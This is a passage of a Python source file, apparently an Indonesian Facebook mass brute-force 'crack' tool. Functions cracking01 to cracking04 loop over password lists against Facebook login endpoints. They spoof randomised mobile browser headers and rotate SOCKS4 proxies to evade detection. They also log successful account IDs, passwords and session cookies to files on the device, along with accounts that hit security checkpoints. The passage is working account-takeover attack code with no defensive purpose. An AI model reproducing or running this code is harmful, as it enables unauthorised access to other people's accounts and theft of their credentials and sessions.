  481.     tree = Tree(Panel.fit(f"\r%sCrack Telah Selesai Dengan Jumlah%s OK : {ok} %sDan Jumlah%s CP:{cp}%s"%(P2,H2,P2,K2,P2),style=f"#AAAAAA"))
  482.     tree.add(Panel.fit(f"\r%sApakah Ingin Lanjut Crack Kembali (y/t)"%(P2),style=f"#AAAAAA"))
  483.     prints(tree)
  484.     gas = input(f"[â€Ē] PILIH : ")
  485.     if gas in ['y','Y','ya','Ya']:
  486.         MBF_MENU()
  487.     else:
  488.         tree = Tree("")
  489.         tree.add(Panel.fit(f"\r%sGood Byee Jangan Lupa Bersyukur Dengan Hasilnya"%(K2),style=f"#AAAAAA"))
  490.         prints(tree)
  491.         time.sleep(2)
  492.         exit()
  493.  
  494. #----------[ MOBILE VALIDATE ]----------#                              
  495. def cracking01(idf,pwx,url):
  496.     global loop,ok,cp
  497.     ses = requests.Session()
  498.     rr = random.randint
  499.     rc = random.choice
  500.     emot = rc(["😝","😜","ðŸĪŠ"])
  501.     prog.update(des,description=f"\r {emot} MBF 01 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  502.     prog.advance(des)
  503.     for pw in pwx:
  504.         try:
  505.             if 'ya' in uadia: ua = uamu[0]
  506.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  507.             open('socksku.txt','w').write(proxs)
  508.             nip = rc(proxs)
  509.             proxs = {'http': 'socks4://'+nip}
  510.             ua = rc(ugen)
  511.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  512.             link = ses.get(f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  513.             date = {
  514.         "lsd":
  515.             re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  516.         "jazoest":
  517.                re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  518.                "uid":idf,
  519.                "next":f"https://{url}/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified",
  520.                "flow":"login_no_pin",
  521.                "pass":pw,
  522.             }
  523.             koki = (";").join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items() ])
  524.             koki+=' m_pixel_ratio=2.625; wd=412x756'       
  525.             head = (
  526.             {
  527.             'Host': url,
  528.             'cache-control': 'max-age=0',
  529.             'dpr': f'{str(rr(1,5))}',
  530.             'viewport-width': f'{str(rr(400,999))}',
  531.             'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
  532.             'sec-ch-ua-mobile': '?1',
  533.             'sec-ch-ua-platform': '"Android"',
  534.             'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
  535.             'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
  536.             'sec-ch-prefers-color-scheme': 'light',
  537.             'upgrade-insecure-requests': '1',
  538.             'origin': 'https://'+url,
  539.             'content-type': 'application/x-www-form-urlencoded',
  540.             'user-agent': ua,
  541.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  542.             'x-requested-with': 'com.mi.globalbrowser.mini',
  543.             'sec-fetch-site': 'same-origin',
  544.             'sec-fetch-mode': 'cors',
  545.             'sec-fetch-user': '?1',
  546.             'sec-fetch-dest': 'empty',
  547.             'referer': f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  548.             'accept-encoding': 'gzip, deflate, br',
  549.             'accept-language': 'id-ID,id;q=0.9'
  550.             }
  551.         )
  552.             po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, cookies={'cookie': koki}, allow_redirects=False,proxies=proxs)
  553.             if "c_user" in ses.cookies.get_dict().keys():
  554.                 ok+=1
  555.                 coki = po.cookies.get_dict()
  556.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  557.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  558.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  559.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  560.                 tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
  561.                 tree.add(Panel.fit(f"[green]{ua}",style=f"#AAAAAA"))
  562.                 prints(tree)
  563.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  564.                 break          
  565.             elif "checkpoint" in po.cookies.get_dict().keys():
  566.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  567.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  568.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  569.                 prints(tree)
  570.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  571.                 akune.append(idf+'|'+pw)
  572.                 ceker(idf,pw)
  573.                 cp+=1
  574.                 break  
  575.                
  576.             else:
  577.                 continue
  578.         except requests.exceptions.ConnectionError:
  579.             time.sleep(31)
  580.     loop+=1
  581.    
  582. #----------[ MBASIC VALIDATE ]----------#                              
  583. def cracking02(idf,pwx,url):
  584.     global loop,ok,cp
  585.     ses = requests.Session()
  586.     rr = random.randint
  587.     rc = random.choice
  588.     emot = rc(["😝","😜","ðŸĪŠ"])
  589.     prog.update(des,description=f"\r {emot} MBF 02 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  590.     prog.advance(des)
  591.     for pw in pwx:
  592.         try:
  593.             if 'ya' in uadia: ua = uamu[0]
  594.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  595.             open('socksku.txt','w').write(proxs)
  596.             nip = rc(proxs)
  597.             proxs = {'http': 'socks4://'+nip}
  598.             ua = rc(ugen)
  599.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  600.             link = ses.get(f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  601.             date = {
  602.         "lsd":
  603.             re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  604.         "jazoest":
  605.                re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  606.                "uid":idf,
  607.                "next":f"https://{url}/v8.0/dialog/oauth?client_id=607187076044599&display=popup&redirect_uri=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&response_type=code&scope=email&state=90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266&ret=login&fbapp_pres=0&logger_id=6321ea45-1edf-459d-b7ba-f3006d4e5264&tp=unspecified",
  608.                "flow":"login_no_pin",
  609.                "pass":pw,
  610.             }
  611.             koki = (";").join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items() ])
  612.             koki+=' m_pixel_ratio=2.625; wd=412x756'       
  613.             head = (
  614.             {
  615.             'Host': url,
  616.             'cache-control': 'max-age=0',
  617.             'dpr': f'{str(rr(1,5))}',
  618.             'viewport-width': f'{str(rr(400,999))}',
  619.             'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
  620.             'sec-ch-ua-mobile': '?1',
  621.             'sec-ch-ua-platform': '"Android"',
  622.             'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
  623.             'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
  624.             'sec-ch-prefers-color-scheme': 'light',
  625.             'upgrade-insecure-requests': '1',
  626.             'origin': 'https://'+url,
  627.             'content-type': 'application/x-www-form-urlencoded',
  628.             'user-agent': ua,
  629.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  630.             'x-requested-with': 'com.mi.globalbrowser.mini',
  631.             'sec-fetch-site': 'same-origin',
  632.             'sec-fetch-mode': 'cors',
  633.             'sec-fetch-user': '?1',
  634.             'sec-fetch-dest': 'empty',
  635.             'referer': f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  636.             'accept-encoding': 'gzip, deflate, br',
  637.             'accept-language': 'id-ID,id;q=0.9'
  638.             }
  639.         )
  640.             po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, cookies={'cookie': koki}, allow_redirects=False,proxies=proxs)
  641.             if "c_user" in ses.cookies.get_dict().keys():
  642.                 ok+=1
  643.                 coki = po.cookies.get_dict()
  644.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  645.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  646.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  647.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  648.                 tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
  649.                 prints(tree)
  650.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  651.                 break          
  652.             elif "checkpoint" in po.cookies.get_dict().keys():
  653.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  654.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  655.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  656.                 prints(tree)
  657.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  658.                 akune.append(idf+'|'+pw)
  659.                 ceker(idf,pw)
  660.                 cp+=1
  661.                 break  
  662.                
  663.             else:
  664.                 continue
  665.         except requests.exceptions.ConnectionError:
  666.             time.sleep(31)
  667.     loop+=1
  668.    
  669. #----------[ MOBILE ASYINC ]----------#                            
  670. def cracking03(idf,pwx,url):
  671.     global loop,ok,cp
  672.     ses = requests.Session()
  673.     rr = random.randint
  674.     rc = random.choice
  675.     emot = rc(["😝","😜","ðŸĪŠ"])
  676.     prog.update(des,description=f"\r {emot} MBF 03 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  677.     prog.advance(des)
  678.     for pw in pwx:
  679.         try:
  680.             if 'ya' in uadia: ua = uamu[0]
  681.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  682.             open('socksku.txt','w').write(proxs)
  683.             nip = rc(proxs)
  684.             proxs = {'http': 'socks4://'+nip}
  685.             ua = rc(ugen)
  686.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  687.             ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
  688.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  689.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  690.             'had_cp_prefilled': 'false',
  691.             'had_password_prefilled': 'false',
  692.             'is_smart_lock': 'true',
  693.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  694.             "__dyn": "",
  695.             "__csr": "",
  696.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  697.             "__a": "",
  698.             "__user": "0",
  699.             "_fb_noscript": "true"}
  700.             head = {"Host": url,
  701.             "content-length": f"{len(str(date))}",
  702.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  703.             "sec-ch-ua-mobile": "?1",
  704.             "user-agent": ua,
  705.             "viewport-width": f"str(rr(400,989)",
  706.             "content-type": "application/x-www-form-urlencoded",
  707.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  708.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  709.             "x-asbd-id": "129477",
  710.             "x-requested-with": "com.android.chrome",
  711.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  712.             "sec-ch-prefers-color-scheme": "light",
  713.             "sec-ch-ua-platform": '"Android"',
  714.             "accept": "*/*",
  715.             "origin": "https://"+url,
  716.             "sec-fetch-site": "same-origin",
  717.             "sec-fetch-mode": "cors",
  718.             "sec-fetch-dest": "empty",
  719.             "referer": ref,
  720.             "accept-encoding": "gzip, deflate, br",
  721.             "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}      
  722.             links = rc([f"https://{url}/login/device-based/login/async/?api_key=2099441543493930&auth_token=ed9cb45a485f81810505130bc83f37bb&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=2099441543493930&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100"])
  723.             po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
  724.             if "c_user" in ses.cookies.get_dict().keys():
  725.                 ok+=1
  726.                 coki = po.cookies.get_dict()
  727.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  728.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  729.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  730.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  731.                 tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
  732.                 prints(tree)
  733.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  734.                 break          
  735.             elif "checkpoint" in po.cookies.get_dict().keys():
  736.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  737.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  738.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  739.                 prints(tree)
  740.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  741.                 akune.append(idf+'|'+pw)
  742.                 ceker(idf,pw)
  743.                 cp+=1
  744.                 break  
  745.                
  746.             else:
  747.                 continue
  748.         except requests.exceptions.ConnectionError:
  749.             time.sleep(31)
  750.     loop+=1
  751.    
  752. #----------[ M ALPHA ASYINC ]----------#                               
  753. def cracking04(idf,pwx,url):
  754.     global loop,ok,cp
  755.     ses = requests.Session()
  756.     rr = random.randint
  757.     rc = random.choice
  758.     emot = rc(["😝","😜","ðŸĪŠ"])
  759.     prog.update(des,description=f"\r {emot} MBF 04 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  760.     prog.advance(des)
  761.     for pw in pwx:
  762.         try:
  763.             if 'ya' in uadia: ua = uamu[0]
  764.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  765.             open('socksku.txt','w').write(proxs)
  766.             nip = rc(proxs)
  767.             proxs = {'http': 'socks4://'+nip}
  768.             ua = rc(ugen)
  769.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
